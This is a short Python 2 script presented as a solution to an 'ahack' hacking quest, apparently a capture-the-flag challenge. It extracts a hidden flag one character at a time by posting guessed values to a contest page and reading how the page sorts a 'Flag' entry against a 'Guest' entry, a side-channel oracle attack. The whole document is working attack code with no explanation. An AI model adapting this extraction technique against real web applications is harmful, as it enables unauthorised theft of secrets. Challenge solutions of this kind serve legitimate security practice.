solution for ahack quest

import re
import urllib2

r1 = re.compile( 'Flag.*Guest' )
r2 = re.compile( 'Guest.*Flag' )
alf = '0123456789abcdefghijklmnopqrstuvwxyz'
ans = 'acc1d3632316e1cfda1'
while True:
    for i,c in enumerate( alf ):
        h = urllib2.urlopen( 'http://ahack.ru/contest/bet/?sort=rate', 'rate=' + ans + c ).read()
        if r1.search( h ):
            ans += alf[ i-1 ]
            print len( ans ), ans
            break